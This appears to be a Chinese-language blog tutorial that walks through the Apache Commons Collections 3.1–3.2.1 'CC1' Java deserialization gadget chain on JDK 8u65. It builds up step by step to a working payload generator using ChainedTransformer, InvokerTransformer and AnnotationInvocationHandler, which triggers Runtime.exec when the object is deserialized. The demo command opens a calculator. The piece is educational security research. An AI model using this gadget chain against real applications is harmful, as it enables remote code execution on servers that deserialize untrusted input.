ApacheCC1反序列化分析

发布时间 2023-12-09 17:24:10作者: 疯癫兄

ApacheCC1反序列化分析

写在前面:

这条链路对初学者来说并不是那么简单的,大家在学习时一定要多动手调试代码,有的时候光看代码看得头大,一调试就都明白了。

一、背景介绍

首先,什么是cc1

cc全称Common-Collections,是apache基金会的一个项目,它提供了比原生的java更多的接口和方法,比如说我们平常使用HashMap时都是无序的,而Common-Collections中为我们提供了OrderedMap,我们可以调用OrderedMap来构造有序的map。

二、环境搭建

在学习之前首先把环境搭建好。

由于存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可用,我这里用的是jdk8u65 。下载链接在Java 存档下载 — Java SE 8 | Oracle 中国

然后在idea 安装好maven,⾸先设置在pom.xml。

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
 </dependencies>

不报错即可。

由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。去这个链接http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4,点击左侧zip即可。

image-20231209165252735

将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了。

然后在idea⾥添加sdk版本把sun⽬录加⼊即可。

image-20231209165628179

然后我们去sun包里面看一下代码,不再显示.class就可以了。

image-20231209165829753

三、反序列化分析

首先,我们需要一点反射的前置知识,比如下面这段代码能看懂即可。

public void test1() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        //        直接调用calc
//        Runtime.getRuntime().exec("calc");
//        反射调用calc
        Class c = Runtime.class;
        Method getRuntimemethod = c.getMethod("getRuntime",null);//拿到方法
        Runtime r=(Runtime)getRuntimemethod.invoke(null,null);//拿到对象
        Method execmethod = r.getClass().getMethod("exec", String.class);
        Object obj = execmethod.invoke(r,"calc");
    }

0x01 InvokerTransformer.transform()

我们首先进入InvokerTransformer,看一下transform方法。

image-20231208112156920

可以看到,当输入的input不为空时,会进行通过反射机制动态地调用对象的特定方法,而getMethod和invoke方法的参数从哪里来呢,定位他的构造函数。

image-20231208110200292

可以看到通过构造函数可以控制我们的参数,并且该构造方法是public的,我们可以直接访问。由此,我们得出下面的一个弹出计算器的方法。

    public void test2(){
        // transform
        Runtime r = Runtime.getRuntime();
        String methodName="exec";
        Class[] paramTypes = new Class[]{String.class};
        Object[] args = new Object[] {"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
        invokerTransformer.transform(r);
/*        new InvokerTransformer("exec",new Class[]{String.class},new
                Object[]{"calc"}).transform(r);*/
    }

image-20231208111129931

可以看到成功弹出计算器。注释的内容大家也可以看一下,这种方法也是可以直接弹出计算器的。

由此,我们找到了transform方法,接下来我们要做的事情就是找哪里调用了该方法。

0x02 TransformedMap.checkSetValue()

经过查找,我们找到了TransformedMap中的checkSetValue方法。需要注意一下,这里的checkSetValue是peotected,所以要用反射的方法来调用。

image-20231208112049525

接下来看看valueTransformer这个东西是从哪来的,看一下构造方法。

image-20231208112300592

很好,也是可以通过构造方法传进来的,所以我们也可以控制变量,但是这里有一点,方法是protected的,只有在同一个包中才可以调用,所以我们要继续找下去,看看谁调用了TransformedMap的构造方法。

0x03 TransformedMap.decorate()

我们在当前类中找到了decorate方法,该静态方法创建了TransformedMap对象,并且该方法还是公开的,所以可以直接调用。

image-20231208113006183

我们接下来写个payload试一下:

public void test3() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
    Runtime runtime = Runtime.getRuntime();
    String methodName="exec";
    Class[] paramTypes = new Class[]{String.class};
    Object[] args = new Object[] {"calc"};
    InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
    HashMap<String, Integer> map = new HashMap<>();
    Transformer keyTransformer = null;
    Transformer valueTransformer = invokerTransformer;
    Map decorateMap= TransformedMap.decorate(map,keyTransformer,invokerTransformer);//拿到TransformedMap对象
    Class transformedMapClass = TransformedMap.class;
    Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
    checkSetValueMethod.setAccessible(true);  //因为checkSetValue是peotected
    checkSetValueMethod.invoke(decorateMap,runtime);

}

我们先看代码,invokerTransformer就是上个payload的invokerTransformer,没有变。

我们接下来构造TransformedMap的三个参数,处理valueTransformer随便写就行,然后我们就拿到了TransformedMap的对象decorateMap,接下来就是通过反射来调用checkSetValue方法。

接下来我们就是要找哪里调用了decorate方法,但是很遗憾并没有突破,所以我们把目光再放回之前的checkSetValue方法,去找哪里调用了该方法。

0x04 AbstractInputCheckedMapDecorator->MapEntry.setValue()

TransformedMap的父类AbstractInputCheckedMapDecorator内部的子类MapEntry中,我们找到了setValue方法。

image-20231208152037643

这里的parent是什么呢,我们看一下该函数所在类的构造方法:

image-20231208152303073

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

我们先上payload:

public void test4(){
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("key","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer = invokerTransformer;
    Map<String ,String> decorateMap = TransformedMap.decorate(map,keyTransformer,invokerTransformer);
    for(Map.Entry entry:decorateMap.entrySet()){
        entry.setValue(runtime);
    }
}

decorateMap之前的东西和test3的都一样,不再讲述,区别是我们这里遍历了decorateMap来触发setValue。(注意map.put("key","value"),要不然map里面没东西,后面进不去for循环)

decorateMapTransformedMap类的,该类的entrySet方法会调用父类的entrySet方法。故在for循环时会进入如下方法:

image-20231208161031695

image-20231208161142451

首先进行判断,如果判断通过的话,就会返回一个EntrySet的实例,而我们的isSetValueChecking()是恒返回true的,所以也就无所谓,直接返回实例。

所以我们的entry在这里也是来自AbstractSetDecorator类的,所以后面才可以调到setValue方法。效果如下:

image-20231208162610520

ok,这里我们又找到了一个setValue方法,我们可以继续向上查找,看看哪里调用了我们的setValue,继续构造我们的链条。

0x05 AnnotationInvocationHandler.readObject()

这里我们找到了AnnotationInvocationHandler中的readObject方法。注意:这里的AnnotationInvocationHandler是在sun.reflect.annotation.AnnotationInvocationHandler中的。

由于readObject方法太长了,我们先复制过来大体看一眼。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

接下来我们看重点:

image-20231208164400470

可以看到,这里再调用setValue前面还要经过两个判断,这两个判断判断了什么呢,我们先不管,先正常随便给值看看能不能过,过了最好,过不了我们再慢慢调试。

我们看一下memberValue从哪里来,果不其然,又是构造方法:

image-20231208165114016

于是乎,我们只需要在构造时把memberValue传给他就行了,但是这个构造函数的修饰符是默认的,我们没用办法直接访问怎么办,很简单,反射。

还有一点,我们这里的构造方法的第一个参数类型是Class<? extends Annotation>,什么是Annotation呢,其实就是我们的注解类,先随便给一个Override看看。

于是我们的test5如下:

public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("key","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=invokerTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);	//构造函数不是public的
    Object obj = constructor.newInstance(Override.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

构造反序列化方法如下:

public void unseialize() throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream("./data/apachecc1.ser");
    ObjectInputStream ois = new ObjectInputStream((fis));
    ois.readObject();
}

运行之后,无事发生,既没有报错也没有弹出计算器,我们此时调试看看,断点设在上面的if循环处。

image-20231208170152762

这里我们直接就跳到了最下面,很显然,if循环没有进去,这里判断memberType,但是我们的memberType正好为空。

image-20231208170422771

memberType来自memberTypes,memberTypes来自annotationTypeannotationType来自typeannotationType = AnnotationType.getInstance(type);),而type来自我们传入构造方法的参数。大家一定要自己跟一下,否则可能比较难理解

我们这里的要求传入的注解参数,是有成员变量的,并且成员变量要和map里面的key对的上。(!(memberType.isInstance(value)

于是我们找到了SuppressWarnings注解,该注解有一个成员变量。

image-20231208172005638

于是乎,我们修改我们的代码如下:

public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=invokerTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

再次运行,得到结果如下:

image-20231208172402877

报错,Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'exec' on 'class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy' does not exist告诉我们找不到名为 exec 的方法。

对呀,我们看一眼我们的runtime,都是暗的,没用用上,我们再看一下readObject方法,里面setValue的参数的实例居然是写死的,根本没用办法利用,什么鬼,看到这里是不是感到有点绝望,给我一个写死的我还玩什么,不得不说要佩服cc1链的作者,这种情况下都能找到利用的方法。

0x06 解决无法传入runtime的问题

ConstantTransformer类

首先,我们找到了ConstantTransformer

image-20231208174625176

该方法的构造函数会将传入的对象给到iConstant,该类的transform方法无论传入的什么对象都会返回iConstant

但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap,或者说没有 办法建立ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了ChainedTransformer类。

ChainedTransformer类

ChainedTransformer类的transform方法如下:

image-20231208175800418

上述代码的意思是,如果给ChainedTransformer的属性iTransformers赋值为 ConstantTransformer对象的话,则可以直接调用到ConstantTransformer的transform方 法,如果赋值为InvokerTransformer对象的话,则可以直接调用到InvokerTransformertransform方法,则此时便有了一个关联关系,将Runtime对象通过ConstantTransformer 进行赋值,然后就可以在构造链中得到Runtime对象了。

public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=chainedTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

此时打断点逐步调试,可以看到经过transform方法后,已经可以得到Runtime对象。

image-20231208215404832

但是此时我们只穿入了Runtime对象,但是之前的InvokerTransformer没有传进来,但是这个事情也是简单的,因为我们InvokerTransformer我们需要的方法也是transform,都是一个名字,所以他们是兼容的,再结合ChainedTransformertransform的特点,上一次调用的对象是下次参数,因此我们得到如下payload:

public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=chainedTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

最后也是成功的弹出来计算器。

image-20231208222639289

四、总结

经过上面的步骤,我们可以得到如下的调用链:

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map().setValue() 
			TransformedMap.decorate() 
			ChainedTransformer.transform() 
				ConstantTransformer.transform() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Class.getMethod() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Runtime.getRuntime() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Runtime.exec()

我自己在学习这条链路中也遇到了很多的困难,甚至有过几次半途而废的经历。然而,最终我下定决心要搞定这条链路。最后希望大家也都能动起手来写代码,调试起来,这条链路也许就变得简单起来了呢。